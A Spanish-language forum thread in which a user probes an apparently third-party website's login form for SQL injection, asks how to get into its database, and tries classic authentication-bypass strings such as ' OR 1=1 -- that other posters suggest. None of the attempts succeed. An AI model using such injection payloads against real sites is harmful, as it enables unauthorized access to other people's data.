Título: Ayuda con posible inyección SQL en una base de datos.... Publicado por: RON06 en 6 Enero 2010, 19:29 pm Hola a todos!
En una web me piden el nombre de usuario y contraseña (lo típico ;D) I bueno.... en vez de escribir un user como por ejemplo "ron" puse una comilla '. Total que la página web me respondió lo siguiente: Código: select `con` from basdat2 where `user`='''; He estado mirando en el codigo fuente.... y la parte que me interesa es esta: Código: <table cellpadding=0 cellspacing=0 border=0 style="width: 100%"><tbody> Con 'hola: Código: select `con` from basdat2 where `user`=''hola'; Con '<<<>>> el resultado es: Código: select `con` from basdat2 where `user`=''<<<>>>'; En este último resultado he comprovado que algun simbolo ">" no aparece en la respuesta... Al igual que si tengo una peticion con comillas múltiples de dos.... me valida, en canvio si escribo por ejemplo 1, 3 o 5 comillas me sale el error... Alguien tiene tiene alguna idea para intentar acceder a la base de datos??? Gracias :P EDITO: Formulario completo ^^ Título: Re: Ayuda con posible inyección SQL en una base de datos.... Publicado por: ~ Yoya ~ en 6 Enero 2010, 19:53 pm pon el formulario completo
Título: Re: Ayuda con posible inyección SQL en una base de datos.... Publicado por: RON06 en 6 Enero 2010, 20:09 pm yoyahack gracias por decirmelo... no me había fijado que estaba incompleto :P
Código: <table cellpadding=0 cellspacing=0 border=0 style="width: 100%"><tbody> Lo edito arriba. xD Título: Re: Ayuda con posible inyección SQL en una base de datos.... Publicado por: ~ Yoya ~ en 6 Enero 2010, 21:05 pm ps al parecer el error se produce al intentar poner datos invalido, no mucho se puede hacer...
Título: Re: Ayuda con posible inyección SQL en una base de datos.... Publicado por: RON06 en 7 Enero 2010, 11:16 am ps al parecer el error se produce al intentar poner datos invalido, no mucho se puede hacer... estoy de acuerdo..... pero notifico esta respuesta del servidor por si sirve de algo:Escribiendo en el usuario ' OR 1=1 // la respuesta es la siguiente: Código: select `con` from basdat2 where `user`='' OR 1=1 //'; Es interesante... parece que o valida el resto o hay un filtro anti-SQL-Inyection... Alguna idea de que puede ser??? ;) AÑADO ESTO: Es la URL que he conseguido examinando el codigo fuente del formulario.... ;D http://paginaweb/?user=' OR 1=1 //&contra=cualquieraaaa&Entrar!=Entrar! http://paginaweb/?user=%27%20OR%201=1%20//&contra=cualquieraaaa&Entrar!=Entrar! Saludos!!! Título: Re: Ayuda con posible inyección SQL en una base de datos.... Publicado por: xassiz_ en 7 Enero 2010, 12:50 pm Prueba con
Citar ' or 1=1 -- con espacio al final ;-P Título: Re: Ayuda con posible inyección SQL en una base de datos.... Publicado por: RON06 en 7 Enero 2010, 14:27 pm Prueba con Citar ' or 1=1 -- con espacio al final ;-P Gracias por la idea, lo he probado con espacio y no sale ningún error, es decir no accedo a nada :xD Haciendo esto mismo sin el espacio... sale el error: Código: select `con` from basdat2 where `user`='' or 1=1 --'; Probando esto antes de la comilla: Código: -- '123 Código: select `con` from basdat2 where `user`='-- '123'; Título: Re: Ayuda con posible inyección SQL en una base de datos.... Publicado por: kamsky en 7 Enero 2010, 15:28 pm ' or '1'='1
Título: Re: Ayuda con posible inyección SQL en una base de datos.... Publicado por: RON06 en 7 Enero 2010, 16:41 pm ' or '1'='1 @kamsky una peticion con comillas múltiples de dos.... me valida, en canvio si escribo por ejemplo 1, 3 o 5 comillas me sale el error... De todas formas gracias por la aportación :) Título: Re: Ayuda con posible inyección SQL en una base de datos.... Publicado por: ~ Yoya ~ en 7 Enero 2010, 17:10 pm Si magic quotes esta on filtrara las comillas, creo que desde la version 5 vienen por defecto desactivadas.
Título: Re: Ayuda con posible inyección SQL en una base de datos.... Publicado por: RON06 en 9 Enero 2010, 15:08 pm Si magic quotes esta on filtrara las comillas, creo que desde la version 5 vienen por defecto desactivadas. si... tienes razón al parecer esta opción está activada :-( |